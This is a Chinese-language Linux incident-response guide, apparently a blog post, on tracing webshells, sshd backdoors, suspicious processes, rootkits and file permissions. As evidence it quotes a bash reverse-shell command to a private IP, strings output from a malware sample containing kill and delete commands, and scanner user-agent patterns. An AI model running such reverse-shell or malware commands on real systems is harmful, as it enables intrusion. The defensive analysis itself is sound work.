0x01 Web服务


一般如果网络边界做好控制,通常对外开放的仅是Web服务,那么需要先找到Webshell,可以通过如下途径:

1)检查最近创建的php、jsp文件和上传目录

例如要查找24小时内被修改的JSP文件:

find ./ -mtime 0 -name "*.jsp"

2)使用Webshell查杀工具

Windows下D盾等,Linux下河马等。

3)与测试环境目录做对比

diff -r {生产dir} {测试dir}

4)创建Audit审计规则

vim /etc/audit/audit.rules-a exclude,always -F msgtype=CONFIG_CHANGE-a exit,always -F arch=b64 -F uid=48 -S execve -k webshell

产生日志如下

type=SYSCALL msg=audit(1505888691.301:898615): arch=c000003e syscall=59 success=yes exit=0 a0=ca5188 a1=cb5ec8 a2=cb5008 a3=8 items=2 ppid=26159 pid=26160 auid=0 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=120028 comm="ls" exe="/bin/ls" subj=unconfined_u:system_r:httpd_t:s0 key="webshell"type=EXECVE msg=audit(1505888691.301:898615): argc=1 a0="ls"type=CWD msg=audit(1505888691.301:898615):  cwd="/var/www/html/dvwa"type=PATH msg=audit(1505888691.301:898615): item=0 name="/bin/ls" inode=2359385 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 nametype=NORMALtype=PATH msg=audit(1505888691.301:898615): item=1 name=(null) inode=1441842 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 nametype=NORMAL

可以看到所在目录为/var/www/html/dvwa

具体Auditd的使用可以看我这篇文章

企业安全中间件EXECVE审计:https://blog.csdn.net/Fly_hps/article/details/82853036

如果没有通过上述途径找到Webshell,可以通过Access Log获取一些信息。

1)扫描特征

通常入侵行为会伴随着踩点和扫描行为,那么可以查一下具有扫描行为的日志。

例如使用AWVS扫描:

grep 'acunetix' /var/log/httpd/access_log

例如使用sqlmap,但是没有使用–random-agent,UA中带有sqlmap

grep 'sqlmap' /var/log/httpd/access_log

2)孤立页面

referer为 – 的php页面

3)Content-Length

攻击者打包回传,过滤Content-Length大于5M的日志

awk '{if($10>5000000){print $0}}' /var/log/httpd/access_log

需要注意这里如果发现疑似Webshell文件,先用stat记录下时间点,不要直接用vim查看编辑文件内容,这样会更改文件的mtime,对于应急响应来说,时间点很重要。对比时间点更容易在Log找到其他的攻击痕迹。

0x02 SSH服务


登录成功:

grep 'Accepted' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr

或者

last,它会读取位于/var/log/wtmp的文件

登录失败:

grep 'Failed' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr

或者

lastb,会读取位于/var/log/btmp的文件

检查SSH后门方式:

1)比对ssh的版本

ssh -V

2)查看ssh配置文件和/usr/sbin/sshd的时间

stat /usr/sbin/sshd

3)strings检查/usr/sbin/sshd,看是否有邮箱信息

strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过

strings /usr/sbin/sshd

可以查看到邮箱信息。

4)通过strace监控sshd进程读写文件的操作

一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。

ps axu | grep sshd | grep -v greproot 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshdstrace -o aa -ff -p 65530grep open aa* | grep -v -e No -e null -e denied| grep WRaa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4

0x03 进程


检查是否存在可疑进程,需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,进程可能会隐藏。

1)系统负载

例如挖矿程序特征就是系统负载高。使用Top命令查看

按照CPU排序:Shift+P

按照MEM排序:Shift+M

2)启动时间

与前面找到的Webshell时间点比对。

3)启动权限

这点很重要,比如某次应急中发现木马进程都是mysql权限执行的,如下所示:

mysql    63763 45.3  0.0  12284  9616 ?        R    01:18 470:54 ./db_temp/dazui.4mysql    63765  0.0  0.0  12284  9616 ?        S    01:18   0:01 ./db_temp/dazui.4mysql    63766  0.0  0.0  12284  9616 ?        S    01:18   0:37 ./db_temp/dazui.4mysql    64100 45.2  0.0  12284  9616 ?        R    01:20 469:07 ./db_temp/dazui.4mysql    64101  0.0  0.0  12284  9616 ?        S    01:20   0:01 ./db_temp/dazui.4

那基本可以判断是通过Mysql入侵,重点排查Mysql弱口令、UDF提权等。

4)父进程

例如我在菜刀中反弹Bash

[root@server120 html]# ps -ef | grep '/dev/tcp' | grep -v grepapache   26641  1014  0 14:59 ?        00:00:00 sh -c /bin/sh -c "cd /root/apache-tomcat-6.0.32/webapps/ROOT/;bash -i >& /dev/tcp/192.168.192.144/2345 0>&1;echo [S];pwd;echo [E]" 2>&1

父进程进程号1014

[root@server120 html]# ps -ef | grep 1014apache    1014  1011  0 Sep19 ?        00:00:00 /usr/sbin/httpd

可以看到父进程为apache,就可以判断攻击者通过Web入侵。

lsof -p pid:查看可疑进程打开的文件

例如之前遇到的十字病毒,会修改ps和netstat显示的进程名称

udp        0      0 0.0.0.0:49937               0.0.0.0:*                               131683/ls -laudp        0      0 0.0.0.0:47584               0.0.0.0:*                               116515/ifconfig

很明显的异常,ls和ifconfig不会存在监听行为。

[root@DataNode105 admin]# lsof -p 131683COMMAND      PID USER   FD   TYPE    DEVICE SIZE/OFF     NODE NAMEhahidjqzx 131683 root  cwd    DIR      8,98     4096 18087937 /roothahidjqzx 131683 root  rtd    DIR      8,98     4096        2 /hahidjqzx 131683 root  txt    REG      8,98   625622 24123895 /usr/bin/hahidjqzxs

可疑看到真正的可执行文件是/usr/bin/hahidjqzxs

file:查看文件类型:

[root@server120 tmp]# file .zlzl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

strings:显示二进制的文件中可读字符

[root@server120 tmp]# strings .zlrm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; rm -f /boot/.IptabLex ; rm -f /usr/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; rm -f /usr/.IptabLexnetstat -anp | grep "IptabLes" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m> /dev/nullnetstat -anp | grep "IptabLex" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m> /dev/null

例如之前应急遇到的命令替换,通过Strings查看发现有大量的IP地址,就是明显的异常现象。

[root@i-9kp9tipm log]# strings /usr/bin/.sshd | egrep '[1-9]{1,3}\.[1-9]{1,3}\.'8.8.8.88.8.4.48.8.8.861.132.163.68202.102.192.68202.102.213.6858.242.2.2202.38.64.1211.91.88.129211.138.180.2218.104.78.2202.102.199.68202.175.3.3

0x04 网络连接


需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,连接可能会被隐藏。

netstat -antlp | grep ESTABLISHED

查看已经建立的网络连接,例如反弹bash

[root@server120 html]# netstat -antlp | grep EST | grep bashtcp        0      0 192.168.192.120:41320       192.168.192.144:2345        ESTABLISHED 26643/bash
netstat -antlp | grep LISTEN

检查可以监听端口,例如攻击者在本地开启sock5代理,然后使用SSH反弹sock5。

[root@server120 html]# netstat -antlp | grep LISTEN | grep 1080tcp        0      0 0.0.0.0:1080                0.0.0.0:*                   LISTEN      26810/python
[root@template tmp]# lsof -i:80COMMAND   PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAMEnginx   15608   root    6u  IPv4 958629      0t0  TCP *:http (LISTEN)nginx   23814 nobody    6u  IPv4 958629      0t0  TCP *:http (LISTEN)

0x05 敏感目录


/tmp, /var/tmp, /dev/shm,所有用户都可读,可写,可执行

[root@server120 ~]# ls -ald /tmp/drwxrwxrwt. 10 root root 4096 9月  20 09:41 /tmp/[root@server120 ~]# ls -ald /var/tmp/drwxrwxrwt. 2 root root 4096 9月  18 16:57 /var/tmp/[root@server120 ~]# ls -ald /dev/shmdrwxrwxrwt. 3 root root 60 9月   1 10:23 /dev/shm

0x06 history


默认的history仅记录执行的命令,然而这些对于应急来说是不够的,很多系统加固脚本会添加记录命令执行的时间,修改记录的最大条数。
另外之前写的关于Bash审计方式也很推荐,链接:

企业安全实战——运维Bash命令审计:https://blog.csdn.net/Fly_hps/article/details/82853731

0x07 开机启动

开机启动——https://blog.csdn.net/Fly_hps/article/details/82852229

0x08 定时任务

定时任务——https://blog.csdn.net/Fly_hps/article/details/82851916

0x09 Rootkit

Rootkit功能通常有隐藏文件、进程、连接、模块,网络嗅探,后门,日志擦除,键盘记录(SSH密码记录)等。

检查命令替换,比较直观的方式就是比较命令的大小和mtime了。

1)比对命令的大小

例如正常的ps和netstat大小

[root@vincent tmp]# ll /bin/ps
-rwxr-xr-x 1 root root 87112 11月 15 2012 /bin/ps
[root@vincent tmp]# ll /bin/netstat
-rwxr-xr-x 1 root root 128216 5月  10 2012 /bin/netstat

下面是其中有一次应急时的记录

[root@DataNode110 admin]# ls -alt /bin/ | head -n 10
total 10836
-rwxr-xr-x   1 root root   625633 Aug 17 16:26 tawlqkazpu
dr-xr-xr-x.  2 root root     4096 Aug 17 16:26 .
-rwxr-xr-x   1 root root  1223123 Aug 17 11:30 ps
-rwxr-xr-x   1 root root  1223123 Aug 17 11:30 netstat

可以看到ps和netstat是一样大的。

2)查看命令的修改时间,按修改时间排序

ls -alt /bin/ | head -n 5

而比较全面的检测方式有:

1)rpm -aV

RPM Database 不仅提供了 RPM 包的查询功能,还提供了对已安装的 RPM 包进行验证的功能。默认情况下,RPM Database 存放在 /var/lib/rpm 目录。

需要注意这条命令局限性就是只能检查通过RPM包安装的所有文件。另外为了防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查。

我们可以对系统中所有 RPM 文件做一个全面检查

[root@vincenthostname tmp]# rpm -aV
S.?....T.    /bin/ps
...

输出标记含义如下:

S: 表示文件长度发生了变化
M: 表示文件的访问权限或文件类型发生了变化
5: 表示MD5校验和发生了变化。
D: 表示设备节点的属性发生了变化
L: 表示文件的符号链接发生率变化
U: 表示文件/子目录/设备节点的owner发生了变化
G: 表示文件/子目录/设备节点的group发生了变化
T: 表示文件最后一次的修改时间发生了变化

可以看到使用rpm的方式同样可以检查出文件长度和mtime的改变。

列出某个文件是否被改动过

[root@localhost cron.daily]# rpm -Vf /bin/bash
S.5....T.    /bin/bash

2)使用chkrootkit和rkhunter查看

rkhunter与chkrootkit的安装测试(rootkit kbeast环境)

0x10 病毒检测

https://x.threatbook.cn/http://www.virscan.orghttps://www.virustotal.com/https://fireeye.ijinshan.com/

0x11 文件权限


一般是使用chattr或者setfacl来设置权限。

chattr可以修改属性能够提高系统的安全性,但是它并不适合所有的目录。chattr命令不能保护/、/dev、/tmp、/var目录,常用参数如下:

a:即append,设定该参数后,只能向文件中添加数据,而不能删除,多用于服务器日志文件安全,只有root才能设定这个属性。i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。s:保密性地删除文件或目录,即硬盘空间被全部收回。u:与s相反,当设定为u时,数据内容其实还存在磁盘中,可以用于undeletion。

例子:

设置/etc/resolv.conf为不可修改

[root@vincent tmp]# chattr +i /etc/resolv.conf[root@vincent tmp]# lsattr /etc/resolv.conf----i--------e- /etc/resolv.conf[root@vincent tmp]# echo "" > /etc/resolv.conf-bash: /etc/resolv.conf: 权限不够

可以使用lsattr查看文件权限

[root@vincent tmp]# lsattr 1.txt-----a-------e- 1.txt

setfacl其实是设置文件的访问控制列表,传统的 Linux 文件系统的权限控制是通过 user、group、other 与 r(读)、w(写)、x(执行) 的不同组合来实现的,同时存在不灵活的问题, 例如目录 /data 的权限为:drwxr-x—,所有者与所属组均为 root,在不改变所有者的前提下,要求用户 tom 对该目录有完全访问权限 (rwx).考虑以下2种办法 (这里假设 tom 不属于 root group)

(1) 给 /data 的 other 类别增加 rwx permission,这样由于 tom 会被归为 other 类别,那么他也将拥有 rwx 权限。

(2) 将 tom 加入到 root group,为 root group 分配 rwx 权限,那么他也将拥有 rwx 权限。

以上 2 种方法其实都不合适,为了解决这些问题,Linux 开发出了一套新的文件系统权限管理方法,叫文件访问控制列表 (Access Control Lists, ACL)。简单地来说,ACL 就是可以设置特定用户或者用户组对于一个文件的操作权限。文件的所有者以及有CAP_FOWNER(在目前的linux系统上,root用户是唯一有CAP_FOWNER能力的用户)的用户进程可以设置一个文件的acl。ACL 有两种,一种是access ACL,针对文件和目录设置访问控制列表。一种是default ACL,只能针对目录设置。如果目录中的文件没有设置 ACL,它就会使用该目录的默认 ACL.

getfacl获取文件权限

[root@vincent tmp]# getfacl 1.cap# file: 1.cap# owner: root# group: rootuser::rw-group::r--other::r--

setfacl设置Access ACL

比如我设置/tmp/1.sh的other权限为000,然后切换到vinc账户。

[vinc@vincent tmp]$ cat 1.shcat: 1.sh: 权限不够

然后我们添加ACL

[root@vincent opt]# setfacl -m u:vinc:rwx /tmp/1.sh

然后我们使用ll查看,发现第一个字段文件权限第十位变成了+号

[root@vincent tmp]# ll 1.sh-rwxrwx---+ 1 root root 512 8月   9 03:21 1.sh

然后我们使用getfacl查看

[vinc@vincent tmp]$ getfacl 1.sh# file: 1.sh# owner: root# group: rootuser::rwxuser:vinc:rwxgroup::r-xmask::rwxother::---

我们切换到vinc账户就可以查看内容了

[vinc@vincent tmp]$ cat 1.shtest

删除这条ACL

[root@vincent tmp]# setfacl -x u:vinc /tmp/1.sh

取消所有的ACL

[root@vincent tmp]# setfacl -b /tmp/1.sh

default acl是指对于一个目录进行default acl设置,并且在此目录下建立的文件都将继承此目录的acl。

[root@vincent opt]# setfacl -d -m u:hehe:--- 1

来看下目录1的权限

[root@vincent opt]# getfacl -c 1user::rwxgroup::r-xother::r-xdefault:user::rwxdefault:user:hehe:---default:group::r-xdefault:mask::r-xdefault:other::r-x

我们在目录1下新建的文件都将继承这个权限。我们在目录1下新建一个文件,然后查看一下ACL

[vinc@vincent 1]$ getfacl 222# file: 222# owner: vinc# group: vincuser::rw-user:hehe:---group::r-x                   #effective:r--mask::r--other::r--

切换到hehe账户,查看文件,提示权限不够。

[hehe@vincent 1]$ cat /opt/1/222cat: /opt/1/222: 权限不够

【应急响应】Linux应急响应的姿势相关推荐

  1. linux 应急响应 病毒清除 系统加固

    概述 Linux环境下处理应急响应事件往往会更加的棘手,因为相比于Windows,Linux没有像Autorun.procexp这样的应急响应利器,也没有统一的应急响应处理流程.所以,这篇文章将会对L ...

  2. 运维基础(15) Linux 应急响应

    Linux 环境下处理应急响应事件往往会更加棘手,因为相比于 Windows ,Linux 没有像 Autorun.procexp 这样的应急响应利器,也没有统一的应急响应处理流程. 所以 ,本文将会 ...

  3. Linux应急响应之挖矿篇

    Linux应急响应之挖矿篇 Linux服务器经常受到挖矿木马的骚扰,严重影响服务器的正常使用.那么安全人员遇到这类问题该如何解决呢? 首先了解一下什么是挖矿 每隔一个时间点,比特币系统会在系统节点上生 ...

  4. 读《Linux应急响应》笔记(未完待续)

    今天就想听着音乐,看看书.找到压箱底的<linux应急响应>看一看.还是蛮新的,是2021.7.1的新版. 文章目录 思维导图 挖矿事件 恶意域名 获取异常进程PID 寻找恶意⽂件样本 处 ...

  5. 2022-10-15(Linux应急响应、配置漏洞之DNS域传送、内网渗透之内网主机发现技巧)

    http://noahblog.360.cn/advanced-windows-taskscheduler-playbook/@[toc] [重要]拜读的文章链接都在标题上. 一.linux应急响应 ...

  6. Linux应急响应-盖茨木马的处置方式

    Linux应急响应-盖茨木马的处置方式 Linux盖茨木马是一类有着丰富历史,隐藏手法巧妙,网络攻击行为显著的DDoS木马,BillGates攻击程序采用C/C++语言编写,因相关的程序中分别包含&q ...

  7. Linux 应急响应辅助笔记

    目录导航 0x00 前言: 0x01 应急自动化工具: GScan: 河马: chkrootkit: 在线沙箱: 0x02 排查可能被替换的文件: 0x03 可疑用户排查: 0x04 定时任务排查: ...

  8. 【网络安全】什么是应急响应,应急响应中你到底该关注哪些指标?

    一.前言 今天这一篇文章主要就是介绍应急响应中的KPI.不过在讨论之前,还是得简单的介绍一下什么是应急响应. 二.什么是应急响应? "应急响应"对应的英文是"Incide ...

  9. 考虑灾害响应的应急设施预定位选址

    考虑灾害响应的应急设施预定位选址 真实背景:专业要求完成此课程设计并通过答辩,否则就会被强迫安排去实习~~~/(ㄒoㄒ)/~~ 1.问题背景 近年来,随着全球气候异常多变,导致灾难频繁发生.因此,有必 ...

  10. 应急响应---应急响应、应急响应事件、网络应急响应

    应急响应-应急响应.应急响应事件.网络应急响应 一.应急响应 1.什么是应急响应   应急响应( Incident Response/ Emergency Response )通常是指一个组织为了应对 ...

最新文章

  1. 优先发展智慧旅游与智慧交通领域
  2. pytorch 加载模型报错:‘function‘ object has no attribute ‘copy‘
  3. ModuleNotFoundError: No module named ‘mmcv._ext‘
  4. 【机器学习】周志华 读书笔记 第一章 绪论
  5. jquery ajax POST/GET 请求至 ASP.NET WebAPI
  6. One or more breakpoints cannot be set and have been disabled
  7. 实践中的事件源和CQRS
  8. android 日期对话框,Android日期选择器对话框DatePickerDialog使用详解
  9. AAAI'22 | 基于情感分析的开放域对话系统
  10. 工业机器人 郝卫东_基于S3C2410的视觉巡线机器人系统设计
  11. 面对人生这道程序,该如何编码?
  12. MOD09A1数据下载与预处理-地表干湿度指数的计算
  13. 苹果手机上滑动会卡顿_苹果手机Safari浏览器下滑动卡顿的问题
  14. 2019高中数学联赛备考手册(预赛试题集锦)
  15. 2017年山东省机器人比赛 双足竟步 arduino源代码(删去了关键步态程序 gongneng1 和 gongneng2)
  16. 人人都是钢铁侠,超级盔甲问世
  17. 画漫画软件有哪些?这几款绘画软件必不可少!
  18. 交流电路中,RCL串并联的分析方式
  19. 台式电脑w ndows7密钥,windows7品牌机各版本oem密钥
  20. VSLAM 相关知识点总结

热门文章

  1. windows系统错误的详细说明
  2. win10连接打印机共享显示0x0000011b错误代码怎么办?
  3. js-二维数组和多维数组
  4. 大嘴刘强东与京东纸老虎
  5. 路西法及堕落天使相关资料
  6. 为什么公司的运营都会有负债的出现?
  7. Android Pie(9.0) 行为变更
  8. UE5发布时出现SDK NOT Setup错误解决方法
  9. php connection reset,connection reset by peer问题总结及解决方案
  10. layui的轮播图片自适应大小_解决Layui 表格自适应高度的问题